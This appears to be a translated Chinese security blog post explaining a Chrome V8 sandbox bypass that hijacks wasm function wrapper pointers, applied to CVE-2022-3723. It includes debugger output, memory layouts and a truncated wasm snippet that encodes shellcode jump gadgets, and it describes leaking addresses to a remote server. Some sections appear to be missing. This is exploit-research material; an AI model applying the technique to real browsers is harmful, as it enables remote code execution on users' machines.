白帽故事 · 2023年8月9日 0

使用本机函数指针绕过最新 Chrome v8 沙箱(issue1378239 EXP)

背景介绍:

2023 年 7 月 21 日,推特用户 @5aelo 发布了关于新的 v8 沙箱讨论文档:https://twitter.com/5aelo/status/1682405383896219649

本文讨论如何利用 Function 的本机指针来绕过 Chrome 中最新的 v8 沙箱。

关于v8沙箱的起源和演变,可以参考之前的一些文档:

V8 Sandbox — High-Level Design:
https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit

V8 Sandbox — External Pointer Sandboxing:

https://docs.google.com/document/u/0/d/1V3sxltuFjjhp_6grGHgfqZNK57qfzGzme0QTk0IXDHk/mobilebasic

V8 Sandbox — High Level Design 主要讲解了高层设计思想,而 V8 Sandbox —External Pointer Sandboxing 则重点介绍了外部指针表设计以及对 v8 沙箱外部对象的内存安全访问,利用高版本Chrome漏洞需要考虑绕过v8沙箱缓解措施,和之前一样,本文深入研究了绕过概念和实现,并结合了实际的 CVE-2022-3723(issue1378239)弹出一个计算器,目前该问题仍处于锁定状态。

0x01-函数对象:

编写漏洞利用程序时,通常的过程是损坏对象的任意读/写,然后是代码执行,在有了 v8 沙箱后的方法则变为:

对象损坏 -> 相对任意读/写 -> 绕过 v8 沙箱 -> 代码执行

这里的关键是绕过沙箱进行相对任意读/写, Javascript 中的 Function 对象提供了这种功能,函数本身就是一个对象,同时也支持代码执行,因此,它是从对象到执行的关键桥梁。

下面是Function对象的数据结构:


var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
%DebugPrint(f);

DebugPrint: 0x1f290011c161: [Function] in OldSpace
 - map: 0x1f29001138b9 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1f2900104275 <JSFunction (sfi = 0x1f29000c8ef9)>
 - elements: 0x1f2900000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x1f290011c135 <SharedFunctionInfo js-to-wasm::i>
 - name: 0x1f2900002785 <String[1]: #0>
 - builtin: JSToWasmWrapper
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x1f2900103c0d <NativeContext[281]>
 - code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
 - Wasm instance: 0x1f290011bf69 <Instance map = 0x1f290011a605>

SharedFunctionInfo 显示地址 0x1f290011c109 处的 function_data 对象,检查该对象显示:

0x1f290011c109: [WasmExportedFunctionData] in OldSpace
 - map: 0x1f2900001e95 <Map[44](WASM_EXPORTED_FUNCTION_DATA_TYPE)>
 - internal: 0x1f290011c0f1 <Other heap object (WASM_INTERNAL_FUNCTION_TYPE)>
 - wrapper_code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
 - js_promise_flags: 0

尽管 0x1f2900303979 在解析时很明显,但在内存中它以相反的顺序出现,这可以通过轻微的布局调整来解决,这里的要点是wrapper_code。

在最新的 v8 中,我们看到它当前为只读属性:

(gdb) vmmap 0x1f2900303979
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00001f2900300000 0x00001f2900318000 0x0000000000000000 r--

对象地址为0x109900233314,通过将0x10990023332C处的数据修改为0x002333B5,然后伪造0x1099002333B4处的对象,成功劫持该地址,使其指向wasm地址0x037557588B010(实际的wasm模块起始地址为0x37557588B000),如图所示,RIP被成功劫持到包含0xCC0x037557588B010,命中gdb中的断点。

 0x03-issue1378239 绕过:


issues1378239-CVE-2022–3723 影响 Chrome 107.0.5304.62 及更早版本,这是 2022 年捕获的在野 0day,但该问题的详细信息尚未发布,鉴于 Google 的公开 PoC,任意相对读/写很容易实现,因此省略了利用原文,因为本文更希望专注于 v8 沙箱绕过。

通过任意读/写,可以泄漏 wasm 地址,然后客户端将其与 wasm 请求一起发送到远程服务器,·服务器收到地址后,立即编译并返回 wasm 字节码,由于我们可以控制 RIP,巧妙设计的 wasm 代码会将 RIP 劫持到 wasm 中未对齐的字节码中,详细如下:


var wasm_code = `
(module
  (func $f (export "f") (param i64)
  (call $f (i64.const 0x12EB9060B0C03148)) ;; 48 31 C0 B0 60 90 EB 12
  (call $f (i64.const 0x0BEB9090008B4865)) ;; 65 48 8B 00 90 90 EB 0B
……
……

编译后,上述wasm代码在最新的Chrome中具有RWX权限,但在107.0.5304.63中仅具有RX权限,因为我们可以控制 $f 函数参数,来实现执行任意代码,前两个字节 48 31 将转向下一个可控字节码,因此,在这个 wasm 中,可以执行等效的汇编,同时跳转到下一个序列,逐渐调用 VirtualProtect 并跳转到 ShellCode,具体可参阅 GitHub 了解细节。

0x04-issue1378239的注释:

在编写此漏洞利用时,我们发现每个隔离上下文仅触发一次,因此,该漏洞利用分为两个步骤:首先从一个 iframe 中泄漏数据,将泄漏的数据发送到远程服务器,然后服务器将泄漏的信息写入另一个 html 中,供客户端在本地 iframe 中请求,由于两个 iframe 共享相同的域和端口,因此它们共享相同的进程,并且还允许在同一进程中使用泄漏的地址,在第二个 iframe 中,修改数组长度,然后按照典型的任意读/写绕过 v8 沙箱进行 Chrome 沙箱内 RCE,有关利用详细信息,可参阅 GitHub。

0x05-漏洞演示截图:

0x07-参考资料

https://github.com/numencyber/Vulnerability_PoC/tree/main/CVE-2022-3723

https://medium.com/@numencyberlabs/using-leaking-sentinel-value-to-bypass-the-latest-chrome-v8-hardenprotect-c4ed40e3d34f

https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078

https://twitter.com/5aelo/status/1682405383896219649

https://docs.google.com/document/d/1CPs5PutbnmI-c5g7e_Td9CNGh5BvpLleKCqUnqmD82k/edit

https://docs.google.com/document/d/1V3sxltuFjjhp_6grGHgfqZNK57qfzGzme0QTk0IXDHk/edit

https://docs.google.com/presentation/d/1iDWDHuAZ8ee-dRF5Lkf0nwO2mkLdZG_YJEP1yPvJ09E/edit#slide=id.g19fd0c0660d_0_267

感谢阅读,希望本文能对你有所启发。